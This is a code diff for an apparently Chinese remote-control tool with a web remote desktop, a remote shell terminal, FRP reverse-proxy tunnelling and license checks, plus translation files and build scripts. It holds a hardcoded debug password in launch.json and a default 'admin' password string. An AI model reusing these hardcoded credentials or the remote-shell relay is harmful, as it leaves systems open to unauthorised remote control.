+                    OFN_HIDEREADONLY | OFN_FILEMUSTEXIST,
+                    _T("All Files (*.*)|*.*||"), this);
+    dlg.m_ofn.lpstrFile = buf.data();
+    dlg.m_ofn.nMaxFile  = MAX_BUF;
+    CString title = _TR("选择文件 (可多选)");
+    dlg.m_ofn.lpstrTitle = title;
+    if (dlg.DoModal() != IDOK) return;
+
+    POSITION pos = dlg.GetStartPosition();
+    while (pos) {
+        CString p = dlg.GetNextPathName(pos);
+        AddPath(std::string(CT2A(p.GetString())));
+    }
+    RefreshList();
+}
+
+void CZstaPickerDlg::OnAddFolders()
+{
+    IFileOpenDialog* pfd = nullptr;
+    HRESULT hr = CoCreateInstance(CLSID_FileOpenDialog, NULL,
+                                  CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&pfd));
+    if (FAILED(hr) || !pfd) return;
+
+    DWORD flags = 0;
+    pfd->GetOptions(&flags);
+    pfd->SetOptions(flags | FOS_PICKFOLDERS | FOS_ALLOWMULTISELECT |
+                    FOS_PATHMUSTEXIST | FOS_FORCEFILESYSTEM);
+
+    USES_CONVERSION;
+    CString title = _TR("选择文件夹 (可多选)");
+    pfd->SetTitle(T2CW(title));
+
+    if (SUCCEEDED(pfd->Show(GetSafeHwnd()))) {
+        IShellItemArray* psia = nullptr;
+        if (SUCCEEDED(pfd->GetResults(&psia)) && psia) {
+            DWORD count = 0;
+            psia->GetCount(&count);
+            for (DWORD i = 0; i < count; ++i) {
+                IShellItem* psi = nullptr;
+                if (SUCCEEDED(psia->GetItemAt(i, &psi)) && psi) {
+                    PWSTR wpath = nullptr;
+                    if (SUCCEEDED(psi->GetDisplayName(SIGDN_FILESYSPATH, &wpath)) && wpath) {
+                        int n = WideCharToMultiByte(CP_ACP, 0, wpath, -1,
+                                                    NULL, 0, NULL, NULL);
+                        if (n > 1) {
+                            std::string s(n - 1, '\0');
+                            WideCharToMultiByte(CP_ACP, 0, wpath, -1,
+                                                &s[0], n, NULL, NULL);
+                            AddPath(s);
+                        }
+                        CoTaskMemFree(wpath);
+                    }
+                    psi->Release();
+                }
+            }
+            psia->Release();
+        }
+    }
+    pfd->Release();
+    RefreshList();
+}
+
+void CZstaPickerDlg::OnRemove()
+{
+    std::vector<int> indices;
+    POSITION pos = m_List.GetFirstSelectedItemPosition();
+    while (pos) indices.push_back(m_List.GetNextSelectedItem(pos));
+
+    std::sort(indices.begin(), indices.end(), std::greater<int>());
+    for (int idx : indices) {
+        if (idx >= 0 && idx < (int)m_Paths.size()) {
+            m_Paths.erase(m_Paths.begin() + idx);
+        }
+    }
+    RefreshList();
+}

server/2015Remote/ZstaPickerDlg.h

@@ -0,0 +1,52 @@
+#pragma once
+
+#include <afxwin.h>
+#include <afxcmn.h>
+#include <vector>
+#include <string>
+
+// 让用户在同一个对话框里累加要压缩的"文件 + 文件夹"组合：
+//   [添加文件...] 调出多选文件对话框
+//   [添加文件夹...] 调出多选文件夹对话框 (IFileOpenDialog + FOS_PICKFOLDERS)
+//   [移除选中] 从列表里删除
+// DoModal() 返回 IDOK 时，m_Paths 即为结果 (ANSI/MBCS 路径，与 ZSTA 管道一致)。
+class CZstaPickerDlg : public CDialog
+{
+public:
+    explicit CZstaPickerDlg(CWnd* parent = nullptr);
+
+    virtual INT_PTR DoModal();
+
+    std::vector<std::string> m_Paths;
+
+protected:
+    virtual BOOL OnInitDialog();
+
+    afx_msg void OnAddFiles();
+    afx_msg void OnAddFolders();
+    afx_msg void OnRemove();
+    afx_msg void OnSize(UINT nType, int cx, int cy);
+
+    DECLARE_MESSAGE_MAP()
+
+private:
+    enum CtrlId {
+        IDC_ZSTA_LIST       = 1001,
+        IDC_ZSTA_ADDFILES   = 1002,
+        IDC_ZSTA_ADDFOLDERS = 1003,
+        IDC_ZSTA_REMOVE     = 1004,
+    };
+
+    CListCtrl m_List;
+    CButton   m_BtnAddFiles;
+    CButton   m_BtnAddFolders;
+    CButton   m_BtnRemove;
+    CButton   m_BtnOK;
+    CButton   m_BtnCancel;
+
+    std::vector<BYTE> m_Template; // in-memory DLGTEMPLATE bytes
+
+    void AddPath(const std::string& path);
+    void RefreshList();
+    void LayoutControls(int cx, int cy);
+};

server/2015Remote/lang/en_US.ini

@@ -1772,7 +1772,7 @@ FRPS
 Web端口设置无效!\n必须具有有效的授权才能使用Web远程监控!=Web port set failed!\nA valid authorization is required!
 打开Web远程桌面(&W)=Open Web SimpleRemoter(&W)
 请在菜单设置Web端口!=Please set Web liscening port!
-请设置环境变量 YAMA_PWD 来使用Web远程桌面!=Please set YAMA_PWD to use Web SimpleRemoter!
+请设置环境变量 YAMA_WEB_ADMIN_PASS 来使用Web远程桌面!=Please set YAMA_WEB_ADMIN_PASS to use Web SimpleRemoter!
 如需Web远程桌面跨网使用方案，请联系管理员!=If you need to use Web SimpleRemoter in WAN, please contact administrator!
 ; Plugin Settings Dialog - English Translation
 ; Format: Simplified Chinese=English
@@ -1851,6 +1851,77 @@ IOCP
 入站告警=Inbound Alert
 反代理告警=Anti-Proxy Alert
 试用版 LAN-only 限制=Trial Version - LAN Only Restriction
-入站公网 IP=%s （Proxy Protocol 真实 IP 或 raw TCP 对端）=Inbound public IP=%s (resolved via Proxy Protocol v2 real IP or raw TCP peer)
+入站公网 IP: %s （Proxy Protocol 真实 IP 或 raw TCP 对端）=Inbound public IP=%s (resolved via Proxy Protocol v2 real IP or raw TCP peer)
 检测到入站连接来自公网 IP：%s\r\n\r\n试用版仅供 LAN 内自用，跨网使用属于违反授权条款。\r\n如需跨网远控，请向发行方申请正式授权。\r\n\r\n详细记录见消息列表与运行日志。=Inbound connection from public IP: %s\r\n\r\nTrial version is restricted to LAN-only usage; cross-network use violates the license terms.\r\nFor cross-network remote control, please obtain a commercial license from the publisher.\r\n\r\nSee the message list and runtime log for full details.
 检测到可疑连接：内核 RTT 中位数 %d ms，超出阈值 %d ms。\r\n\r\n持续偏高的 RTT 提示该连接可能经由代理 / VPN / 隧道中转。\r\n试用版仅供 LAN 内自用，跨网使用属于违反授权条款。\r\n\r\n如需跨网远控，请向发行方申请正式授权。\r\n详细记录见消息列表与运行日志。=Suspicious connection detected: kernel-measured RTT median %d ms exceeds the threshold of %d ms.\r\n\r\nA persistently elevated RTT suggests the connection is being relayed through a proxy / VPN / tunnel.\r\nTrial version is restricted to LAN-only usage; cross-network use violates the license terms.\r\n\r\nFor cross-network remote control, please obtain a commercial license from the publisher.\r\nSee the message list and runtime log for full details.
+; Auto FRP / Upper-FRP Hot-Swap - English Translation
+; Format: Simplified Chinese=English
+; 用途: commit 88a9a01 (Feature: Automatically start frp client for subordinate) 引入的新文案
+
+; --- 主对话框：检测到 [settings] FrpConfig 被外部模块写入的热切换提示 ---
+[FRP] 已启用上级 FRP 反向代理（远程端口 %d），已生效=[FRP] Upstream FRP reverse proxy enabled (remote port %d), now active
+[FRP] 收到无效的 FRP 配置: %s=[FRP] Received invalid FRP configuration: %s
+[FRP] 上级已撤销 FRP 反向代理配置，已停止 FRPC=[FRP] Upstream FRP reverse proxy configuration revoked, FRPC stopped
+[FRP] 上级 FRP 反向代理配置已切换（远程端口 %d → %d），已生效=[FRP] Upstream FRP reverse proxy switched (remote port %d → %d), now active
+[FRP] 收到无效的新 FRP 配置: %s，已停止旧 FRPC=[FRP] Received invalid new FRP configuration: %s. Old FRPC stopped.
+
+; --- 授权管理：右键菜单"自动FRP" ---
+自动FRP(&F)...=Auto FRP(&F)...
+
+; --- 授权管理 → 自动FRP 对话框相关 ---
+请先在 扩展 → 下级 FRP 代理设置 中启用并配置 FRPS 服务器地址、端口与 Token，然后再使用此功能。=Please first enable and configure the FRPS server address, port and token in Extensions → FRPS for Subordinates, then use this feature.
+未配置 FRPS=FRPS Not Configured
+该授权已分配 FRPC 远程端口 %d，是否覆盖并重新设置？=This license is already assigned FRPC remote port %d. Overwrite and reconfigure?
+覆盖 FRPC 配置=Overwrite FRPC Configuration
+FRPS 端口范围已满，无法自动分配，请扩大「下级 FRP 代理设置」中的端口范围。=FRPS port range is full, cannot auto-allocate. Please expand the port range in "FRPS for Subordinates" settings.
+端口已满=Port Range Full
+自动 FRP - %s=Auto FRP - %s
+FRPC 远程端口 (1024-65535):=FRPC Remote Port (1024-65535):
+端口 %d 已被序列号 %s 占用，请选择其它端口。=Port %d is already occupied by serial number %s. Please choose another port.
+端口冲突=Port Conflict
+生成 FRP 配置失败=Failed to generate FRP configuration
+已为授权 %s 配置 FRPC 远程端口 %d。\n\n下级上线时将自动接收 FRP 配置并启用反向代理。=Configured license %s with FRPC remote port %d.\n\nWhen the subordinate comes online, it will automatically receive the FRP configuration and enable the reverse proxy.
+配置成功=Configured Successfully
+; --- 授权管理：右键菜单"撤销FRP" + 对话框 ---
+撤销FRP(&U)=Revoke FRP(&U)
+确定撤销授权 %s 的 FRP 配置吗？\n\n远程端口 %d 将被释放，下级下次上线后反向代理失效。=Revoke FRP configuration for license %s?\n\nRemote port %d will be released. The reverse proxy will stop working the next time the subordinate comes online.
+撤销 FRP 配置=Revoke FRP Configuration
+已撤销授权 %s 的 FRP 配置，远程端口 %d 已释放。=Revoked FRP configuration for license %s. Remote port %d has been released.
+撤销成功=Revoked Successfully
+无效参数=Invalid argument
+不支持的位深度，需要24位或32位=Bitmap depth is unsupported
+未安装x264编解码器 \n下载地址：https://sourceforge.net/projects/x264vfw=x264 Encoder is required \nDownload via：https://sourceforge.net/projects/x264vfw
+创建AVI文件失败=Create AVI file failed
+启用 H264 硬编码=Enable HW H264 Encoding
+启用 AV1 硬编码=Enable HW AV1 Encoding
+; ZSTA Compress / Picker Dialog - English Translation
+; Format: Simplified Chinese=English
+
+; --- Picker dialog (CZstaPickerDlg) ---
+选择要压缩的文件 / 文件夹=Select Files / Folders to Compress
+添加文件...=Add Files...
+添加文件夹...=Add Folders...
+移除选中=Remove Selected
+类型=Type
+路径=Path
+文件=File
+文件夹=Folder
+选择文件 (可多选)=Select Files (multi-select)
+选择文件夹 (可多选)=Select Folders (multi-select)
+
+; --- Compress / Extract handlers (CMy2015RemoteDlg) ---
+未选择任何文件或文件夹=No file or folder selected
+选择压缩输出文件=Choose Output Archive
+请选择要解压的 ZSTA 文件 (可多选)=Choose ZSTA File(s) to Extract (multi-select)
+压缩成功 (%u 项):\n%s=Compression succeeded (%u item(s)):\n%s
+压缩失败: %s=Compression failed: %s
+解压完成: 成功 %d, 失败 %d=Extraction complete: %d succeeded, %d failed
+
+; --- Common (likely already present in en_US.ini; included for completeness) ---
+确定=OK
+取消=Cancel
+提示=Notice
+错误=Error
+压缩(&C)=&Compress
+解压缩(&U)=&Uncompress
+\n默认密码是: admin=\nDefault password is: admin

server/2015Remote/lang/zh_TW.ini

@@ -1764,7 +1764,7 @@ FRPS
 监听端口和Web服务端口冲突!=监听端口和Web服务端口冲突!
 打开Web远程桌面(&W)=打开Web远程桌面(&W)
 请在菜单设置Web端口!=请在菜单设置Web端口!
-请设置环境变量 YAMA_PWD 来使用Web远程桌面!=请设置环境变量 YAMA_PWD 来使用Web远程桌面!
+请设置环境变量 YAMA_WEB_ADMIN_PASS 来使用Web远程桌面!=请设置环境变量 YAMA_WEB_ADMIN_PASS 来使用Web远程桌面!
 如需Web远程桌面跨网使用方案，请联系管理员!=如需Web远程桌面跨网使用方案，请联系管理员!
 ; Plugin Settings Dialog - Traditional Chinese Translation
 ; Format: Simplified Chinese=Traditional Chinese
@@ -1842,6 +1842,77 @@ IOCP
 入站告警=入站告警
 反代理告警=反代理告警
 试用版 LAN-only 限制=試用版 LAN-only 限制
-入站公网 IP=%s （Proxy Protocol 真实 IP 或 raw TCP 对端）=入站公網 IP=%s （Proxy Protocol 真實 IP 或 raw TCP 對端）
+入站公网 IP: %s （Proxy Protocol 真实 IP 或 raw TCP 对端）=入站公網 IP=%s （Proxy Protocol 真實 IP 或 raw TCP 對端）
 检测到入站连接来自公网 IP：%s\r\n\r\n试用版仅供 LAN 内自用，跨网使用属于违反授权条款。\r\n如需跨网远控，请向发行方申请正式授权。\r\n\r\n详细记录见消息列表与运行日志。=檢測到入站連線來自公網 IP：%s\r\n\r\n試用版僅供 LAN 內自用，跨網使用屬於違反授權條款。\r\n如需跨網遠控，請向發行方申請正式授權。\r\n\r\n詳細記錄請見訊息列表與執行日誌。
 检测到可疑连接：内核 RTT 中位数 %d ms，超出阈值 %d ms。\r\n\r\n持续偏高的 RTT 提示该连接可能经由代理 / VPN / 隧道中转。\r\n试用版仅供 LAN 内自用，跨网使用属于违反授权条款。\r\n\r\n如需跨网远控，请向发行方申请正式授权。\r\n详细记录见消息列表与运行日志。=檢測到可疑連線：核心 RTT 中位數 %d ms，超出閾值 %d ms。\r\n\r\n持續偏高的 RTT 提示該連線可能經由代理 / VPN / 隧道中轉。\r\n試用版僅供 LAN 內自用，跨網使用屬於違反授權條款。\r\n\r\n如需跨網遠控，請向發行方申請正式授權。\r\n詳細記錄請見訊息列表與執行日誌。
+; Auto FRP / Upper-FRP Hot-Swap - Traditional Chinese Translation
+; Format: Simplified Chinese=Traditional Chinese
+; 用途: commit 88a9a01 (Feature: Automatically start frp client for subordinate) 引入的新文案
+
+; --- 主对话框：检测到 [settings] FrpConfig 被外部模块写入的热切换提示 ---
+[FRP] 已启用上级 FRP 反向代理（远程端口 %d），已生效=[FRP] 已啟用上級 FRP 反向代理（遠端連接埠 %d），已生效
+[FRP] 收到无效的 FRP 配置: %s=[FRP] 收到無效的 FRP 配置: %s
+[FRP] 上级已撤销 FRP 反向代理配置，已停止 FRPC=[FRP] 上級已撤銷 FRP 反向代理配置，已停止 FRPC
+[FRP] 上级 FRP 反向代理配置已切换（远程端口 %d → %d），已生效=[FRP] 上級 FRP 反向代理配置已切換(遠端連接埠 %d → %d)，已生效
+[FRP] 收到无效的新 FRP 配置: %s，已停止旧 FRPC=[FRP] 收到無效的新 FRP 配置: %s，已停止舊 FRPC
+
+; --- 授权管理：右键菜单"自动FRP" ---
+自动FRP(&F)...=自動FRP(&F)...
+
+; --- 授权管理 → 自动FRP 对话框相关 ---
+请先在 扩展 → 下级 FRP 代理设置 中启用并配置 FRPS 服务器地址、端口与 Token，然后再使用此功能。=請先在 擴充 → 下級 FRP 代理設定 中啟用並設定 FRPS 伺服器位址、連接埠與 Token，然後再使用此功能。
+未配置 FRPS=未設定 FRPS
+该授权已分配 FRPC 远程端口 %d，是否覆盖并重新设置？=該授權已分配 FRPC 遠端連接埠 %d，是否覆蓋並重新設定？
+覆盖 FRPC 配置=覆蓋 FRPC 設定
+FRPS 端口范围已满，无法自动分配，请扩大「下级 FRP 代理设置」中的端口范围。=FRPS 連接埠範圍已滿，無法自動分配，請擴大「下級 FRP 代理設定」中的連接埠範圍。
+端口已满=連接埠已滿
+自动 FRP - %s=自動 FRP - %s
+FRPC 远程端口 (1024-65535):=FRPC 遠端連接埠 (1024-65535):
+端口 %d 已被序列号 %s 占用，请选择其它端口。=連接埠 %d 已被序列號 %s 佔用，請選擇其他連接埠。
+端口冲突=連接埠衝突
+生成 FRP 配置失败=產生 FRP 配置失敗
+已为授权 %s 配置 FRPC 远程端口 %d。\n\n下级上线时将自动接收 FRP 配置并启用反向代理。=已為授權 %s 設定 FRPC 遠端連接埠 %d。\n\n下級上線時將自動接收 FRP 配置並啟用反向代理。
+配置成功=設定成功
+; --- 授权管理：右键菜单"撤销FRP" + 对话框 ---
+撤销FRP(&U)=撤銷FRP(&U)
+确定撤销授权 %s 的 FRP 配置吗？\n\n远程端口 %d 将被释放，下级下次上线后反向代理失效。=確定撤銷授權 %s 的 FRP 配置嗎？\n\n遠端連接埠 %d 將被釋放，下級下次上線後反向代理失效。
+撤销 FRP 配置=撤銷 FRP 配置
+已撤销授权 %s 的 FRP 配置，远程端口 %d 已释放。=已撤銷授權 %s 的 FRP 配置，遠端連接埠 %d 已釋放。
+撤销成功=撤銷成功
+无效参数无效参数
+不支持的位深度，需要24位或32位=不支持的位深度，需要24位或32位
+未安装x264编解码器 \n下载地址：https://sourceforge.net/projects/x264vfw=未安装x264编解码器 \n下载地址：https://sourceforge.net/projects/x264vfw
+创建AVI文件失败=创建AVI文件失败
+启用 H264 硬编码=启用 H264 硬编码
+启用 AV1 硬编码=启用 AV1 硬编码
+; ZSTA Compress / Picker Dialog - Traditional Chinese Translation
+; Format: Simplified Chinese=Traditional Chinese
+
+; --- Picker dialog (CZstaPickerDlg) ---
+选择要压缩的文件 / 文件夹=選擇要壓縮的檔案 / 資料夾
+添加文件...=新增檔案...
+添加文件夹...=新增資料夾...
+移除选中=移除選取項
+类型=類型
+路径=路徑
+文件=檔案
+文件夹=資料夾
+选择文件 (可多选)=選擇檔案 (可多選)
+选择文件夹 (可多选)=選擇資料夾 (可多選)
+
+; --- Compress / Extract handlers (CMy2015RemoteDlg) ---
+未选择任何文件或文件夹=未選擇任何檔案或資料夾
+选择压缩输出文件=選擇壓縮輸出檔案
+请选择要解压的 ZSTA 文件 (可多选)=請選擇要解壓縮的 ZSTA 檔案 (可多選)
+压缩成功 (%u 项):\n%s=壓縮成功 (%u 項):\n%s
+压缩失败: %s=壓縮失敗: %s
+解压完成: 成功 %d, 失败 %d=解壓縮完成: 成功 %d, 失敗 %d
+
+; --- Common (likely already present in zh_TW.ini; included for completeness) ---
+确定=確定
+取消=取消
+提示=提示
+错误=錯誤
+压缩(&C)=壓縮(&C)
+解压缩(&U)=解壓縮(&U)
+\n默认密码是: admin=\n默认密码是: admin

server/2015Remote/pwd_gen.cpp

@@ -585,6 +585,7 @@ std::string signPasswordV2(const std::string& deviceId, const std::string& passw
     // 签名
     BYTE signature[V2_SIGNATURE_SIZE];
     if (!SignMessageV2(privateKeyFile, (const BYTE*)payload.c_str(), (int)payload.length(), signature)) {
+        Mprintf("signPasswordV2: SignMessageV2 failed: %s\n", payload.c_str());
         return "";
     }
 
@@ -640,7 +641,7 @@ std::string signAuthorizationV2(const std::string& license, const std::string& s
 
     BYTE signature[V2_SIGNATURE_SIZE];
     if (!SignMessageV2(privateKeyFile, (const BYTE*)payload.c_str(), (int)payload.length(), signature)) {
-        Mprintf("signAuthorizationV2: SignMessageV2 failed\n");
+        Mprintf("signAuthorizationV2: SignMessageV2 failed: %s\n", license.c_str());
         return "";
     }
 
@@ -709,7 +710,10 @@ bool IsFrpTokenEncoded(const std::string& privilegeKey)
     return privilegeKey.length() >= 4 && privilegeKey.substr(0, 4) == "ENC:";
 }
 
-// 日期字符串转 Unix 时间戳（当天 23:59:59 本地时间）
+// 日期字符串转 Unix 时间戳（当天 23:59:59 UTC）。
+// 必须使用 UTC（_mkgmtime）而非本地时间（mktime）—— privilegeKey 由上级生成、
+// 下级二次计算后发给 frps 校验，若两端时区不同，mktime 会返回不同的 UTC 时间戳，
+// 导致 MD5 不匹配，frps 报 "token in login doesn't match token from configuration"。
 time_t FrpDateToTimestamp(const std::string& dateStr)
 {
     if (dateStr.length() != 8) return 0;
@@ -721,7 +725,7 @@ time_t FrpDateToTimestamp(const std::string& dateStr)
         t.tm_hour = 23;
         t.tm_min = 59;
         t.tm_sec = 59;
-        return mktime(&t);
+        return _mkgmtime(&t);
     } catch (...) {
         return 0;
     }

server/2015Remote/resource.h

@@ -263,6 +263,9 @@
 #define IDR_WEB_XTERM_CSS               383
 #define IDR_WEB_XTERM_FIT_JS            384
 #define IDR_WEB_INDEX_HTML              385
+#define IDB_BITMAP_COMPRESS             386
+#define IDB_BITMAP9                     387
+#define IDB_BITMAP_UNCOMPRESS           387
 #define IDC_MESSAGE                     1000
 #define IDC_ONLINE                      1001
 #define IDC_STATIC_TIPS                 1002
@@ -983,14 +986,21 @@
 #define ID_33048                        33048
 #define ID_SCREENPREVIEW_LOOP           33049
 #define ID_PARAM_THUMBNAIL_PREVIEW      33050
+#define ID_LICENSE_AUTO_FRP             33051
+#define ID_LICENSE_REVOKE_FRP           33052
+#define ID_Menu                         33053
+#define ID_33054                        33054
+#define ID_MENU_COMPRESS                33055
+#define ID_33056                        33056
+#define ID_MENU_UNCOMPRESS              33057
 #define ID_EXIT_FULLSCREEN              40001
 
 // Next default values for new objects
 // 
 #ifdef APSTUDIO_INVOKED
 #ifndef APSTUDIO_READONLY_SYMBOLS
-#define _APS_NEXT_RESOURCE_VALUE        386
+#define _APS_NEXT_RESOURCE_VALUE        388
-#define _APS_NEXT_COMMAND_VALUE         33051
+#define _APS_NEXT_COMMAND_VALUE         33058
 #define _APS_NEXT_CONTROL_VALUE         2542
 #define _APS_NEXT_SYMED_VALUE           105
 #endif

server/go/.vscode/launch.json

@@ -8,9 +8,14 @@
             "mode": "auto",
             "program": "${workspaceFolder}/cmd",
             "cwd": "${workspaceFolder}",
-            "args": [],
+            "args": [
-            "env": {},
+                "-port=9090"
-            "console": "integratedTerminal"
+            ],
+            "env": {
+                "YAMA_WEB_ADMIN_PASS": "3.14159"
+            },
+            "console": "integratedTerminal",
+            "preLaunchTask": "sync-web-assets"
         },
         {
             "name": "Debug Server",
@@ -22,9 +27,12 @@
             "args": [
                 "-port=9090"
             ],
-            "env": {},
+            "env": {
+                "YAMA_WEB_ADMIN_PASS": "3.14159"
+            },
             "console": "integratedTerminal",
-            "buildFlags": "-gcflags='all=-N -l'"
+            "buildFlags": "-gcflags='all=-N -l'",
+            "preLaunchTask": "sync-web-assets"
         }
     ]
 }

server/go/.vscode/tasks.json

@@ -0,0 +1,20 @@
+{
+    "version": "2.0.0",
+    "tasks": [
+        {
+            "label": "sync-web-assets",
+            "type": "shell",
+            "command": "powershell",
+            "args": [
+                "-NoProfile",
+                "-Command",
+                "New-Item -ItemType Directory -Force -Path '${workspaceFolder}\\web\\assets' | Out-Null; Copy-Item -Force '${workspaceFolder}\\..\\web\\index.html' '${workspaceFolder}\\web\\assets\\index.html'"
+            ],
+            "presentation": {
+                "reveal": "silent",
+                "panel": "dedicated"
+            },
+            "problemMatcher": []
+        }
+    ]
+}

server/go/Makefile

@@ -17,41 +17,49 @@ LDFLAGS=-ldflags "-s -w"
 MKDIR=if not exist $(BUILD_DIR) mkdir $(BUILD_DIR)
 RMDIR=if exist $(BUILD_DIR) rmdir /s /q $(BUILD_DIR)
 
-.PHONY: all clean windows linux build help windows-386 linux-arm64 all-platforms test fmt deps
+.PHONY: all clean windows linux build help windows-386 linux-arm64 all-platforms test fmt deps sync
 
 # Default target
 all: clean windows linux
 
+# Sync web assets from server/web/ into web/assets/ for //go:embed.
+# Single source of truth is server/web/index.html; this just keeps a vendored copy.
+sync:
+	@echo Syncing web assets from ../web/...
+	@if not exist web\assets mkdir web\assets
+	@copy /Y ..\web\index.html web\assets\index.html >nul
+	@echo Done
+
 # Build for current platform
-build:
+build: sync
 	@echo Building for current platform...
 	@$(MKDIR)
 	go build $(LDFLAGS) -o $(BUILD_DIR)\$(BINARY_NAME).exe $(MAIN_PACKAGE)
 	@echo Done
 
 # Build for Windows (amd64)
-windows:
+windows: sync
 	@echo Building for Windows amd64...
 	@$(MKDIR)
 	set GOOS=windows&& set GOARCH=amd64&& go build $(LDFLAGS) -o $(BUILD_DIR)\$(BINARY_NAME)_windows_amd64.exe $(MAIN_PACKAGE)
 	@echo Done: $(BUILD_DIR)\$(BINARY_NAME)_windows_amd64.exe
 
 # Build for Windows (386)
-windows-386:
+windows-386: sync
 	@echo Building for Windows 386...
 	@$(MKDIR)
 	set GOOS=windows&& set GOARCH=386&& go build $(LDFLAGS) -o $(BUILD_DIR)\$(BINARY_NAME)_windows_386.exe $(MAIN_PACKAGE)
 	@echo Done: $(BUILD_DIR)\$(BINARY_NAME)_windows_386.exe
 
 # Build for Linux (amd64)
-linux:
+linux: sync
 	@echo Building for Linux amd64...
 	@$(MKDIR)
 	set GOOS=linux&& set GOARCH=amd64&& go build $(LDFLAGS) -o $(BUILD_DIR)\$(BINARY_NAME)_linux_amd64 $(MAIN_PACKAGE)
 	@echo Done: $(BUILD_DIR)\$(BINARY_NAME)_linux_amd64
 
 # Build for Linux (arm64)
-linux-arm64:
+linux-arm64: sync
 	@echo Building for Linux arm64...
 	@$(MKDIR)
 	set GOOS=linux&& set GOARCH=arm64&& go build $(LDFLAGS) -o $(BUILD_DIR)\$(BINARY_NAME)_linux_arm64 $(MAIN_PACKAGE)
@@ -89,6 +97,7 @@ help:
 	@echo   linux         - Build for Linux amd64
 	@echo   linux-arm64   - Build for Linux arm64
 	@echo   all-platforms - Build for all platforms
+	@echo   sync          - Sync web assets from ../web/ for //go:embed
 	@echo   clean         - Clean build directory
 	@echo   test          - Run tests
 	@echo   fmt           - Format code

server/go/README.md

@@ -25,36 +25,88 @@ server/go/
 │   └── pool.go              # Goroutine 工作池
 ├── logger/
 │   └── logger.go            # 日志模块 (基于 zerolog)
+├── hub/
+│   └── hub.go              # 在线设备注册表 + 事件订阅
+├── wsauth/
+│   └── wsauth.go           # Web 鉴权 (challenge-response + 不透明 token)
+├── web/
+│   ├── embed.go            # //go:embed 嵌入 HTML/xterm.js 等 web 资源
+│   ├── server.go           # HTTP server (静态页面 + REST + WS 路由)
+│   ├── ws.go               # WebSocket 连接生命周期
+│   ├── ws_handlers.go      # WS 消息分发与处理
+│   └── assets/
+│       ├── index.html      # 从 ../../web/index.html sync 而来 (gitignored)
+│       └── static/         # 第三方 xterm.js 资源 (checked in)
+├── licensing/
+│   ├── signer.go           # Signer interface (Sign / Mode / Close)
+│   ├── local.go            # LocalSigner — operator 部署，HMAC 直连
+│   ├── remote.go           # RemoteSigner — 客户部署，HTTPS + singleflight + 24h cache + heartbeat ticker
+│   ├── noop.go             # NoOpSigner — free tier，返回空签名
+│   ├── token.go            # JWT RS256 校验 + RSA 公钥加载
+│   ├── quota.go            # 配额追踪 (Reserve / RefreshExisting / 5min eviction)
+│   ├── server.go           # License Server HTTP handlers (/license/sign, /license/heartbeat) + Issue()
+│   ├── factory.go          # NewFromEnv / LicenseServerFromEnv + 模式选择
+│   └── licensing_test.go   # 17 个单元测试
 └── cmd/
     └── main.go              # 程序入口
 ```
 
 ## 核心特性
 
+底层基础设施：
+
 - **高并发**: 基于 Goroutine 池管理并发连接
-- **协议兼容**: 支持原有 C++ 客户端的多种协议标识 (Hell/Hello/Shine/Fuck)
+- **协议兼容**: 支持原有客户端的多种协议标识 (Hell/Hello/Shine/Fuck)
 - **协议头解密**: 支持 8 种协议头加密方式 (V0-V6 + Default)
-- **授权验证**: 支持 TOKEN_AUTH 和 Heartbeat HMAC-SHA256 双重授权验证
+- **授权验证**: TOKEN_AUTH 和 Heartbeat HMAC-SHA256 双重授权
-- **XOR编码**: 支持 XOREncoder16 数据编码/解码
+- **XOR 编码 / ZSTD 压缩**: 与客户端完全兼容
-- **ZSTD 压缩**: 使用高效的 ZSTD 算法进行数据压缩
+- **字符编码自适应**: 根据客户端能力位选择 UTF-8 直通或 GBK→UTF-8 转换
-- **GBK编码**: 自动将 Windows 客户端的 GBK 编码转换为 UTF-8
+- **线程安全 / 优雅关闭 / 多端口监听 / 结构化日志**
-- **线程安全**: Buffer、连接管理器和 LastActive 均为线程安全设计
+
-- **优雅关闭**: 支持信号处理和优雅停机，自动释放资源
+Web 应用能力 (Phase 3-7)：
-- **可配置**: 支持自定义端口、最大连接数、超时时间等
+
-- **日志系统**: 基于 zerolog，支持文件输出、日志轮转、客户端上下线记录
+- **Web 鉴权**: challenge-response 登录 + 不透明 token，与 users.json schema 互通
+- **登录加固**: 双维度速率限制（10 次/分钟·IP + 5 次/15 分钟·用户名）+ 失败固定延迟，防口令枚举；`/get_salt` 用确定性假盐响应未知用户，杜绝用户名探测；WebSocket Origin 同源校验 + 显式白名单；`/api/devices` Bearer Token 鉴权
+- **设备列表与监控**: 在线设备 / RTT / 活动窗口 / 分辨率 实时下发
+- **Web 远程桌面**: 浏览器 WebCodecs 解码 H.264，二进制 WS 帧低延迟中继；late-join 自动重发最近 IDR；优雅 BYE 关闭防止客户端无意义重连
+- **鼠标 / 键盘输入**: Win32 消息映射 (`WM_*` / `VK_*` / `MK_*`)，MSG64 48 字节布局直传客户端
+- **Web 终端**: xterm.js + Windows ConPTY / 旧 cmd 管道双模式；二进制 "TRM1" 帧分流；尺寸自适应；单设备单 viewer
+- **用户与分组**: admin 可创建/删除 viewer 账号、配置 allowed_groups，users.json 原子写入
 
 ## 支持的命令
 
-当前已实现以下命令处理：
+### 客户端 → 服务端
 
-| 命令 | 值 | 说明 |
+| Token | 值 | 用途 |
-|------|-----|------|
+| ---- | ---- | ---- |
-| TOKEN_AUTH | 100 | 授权请求 (验证 SN + Passcode + HMAC) |
+| `TOKEN_AUTH` | 100 | 授权请求（SN + Passcode + HMAC） |
-| TOKEN_HEARTBEAT | 101 | 心跳包 (支持 HMAC 授权验证，返回 Authorized 状态) |
+| `TOKEN_HEARTBEAT` | 101 | 心跳包（携带 ActiveWnd / Ping / SN） |
-| TOKEN_LOGIN | 102 | 客户端登录 |
+| `TOKEN_LOGIN` | 102 | 主连接登录 |
-| CMD_HEARTBEAT_ACK | 216 | 心跳响应 (包含 Authorized 字段) |
+| `TOKEN_BITMAPINFO` | 115 | 屏幕子连接首包，含分辨率 + clientID |
+| `TOKEN_FIRSTSCREEN` | 116 | 原始 BGRA 首帧（Go 侧丢弃） |
+| `TOKEN_NEXTSCREEN` | 117 | H.264 屏幕帧 |
+| `TOKEN_SHELL_START` | 128 | 旧 cmd-pipe 终端子连接首包 |
+| `TOKEN_KEYFRAME` | 134 | GOP 关键帧（DEFAULT_GOP 无限大，实际未用） |
+| `TOKEN_TERMINAL_START` | 232 | PTY 终端子连接首包 |
+| `TOKEN_TERMINAL_CLOSE` | 233 | 终端关闭通知 |
+| `TOKEN_CONN_AUTH` | 246 | 子连接身份握手，含 clientID |
+| (raw bytes) | — | 终端 sub-conn 绑定后裸字节即 shell 输出 |
 
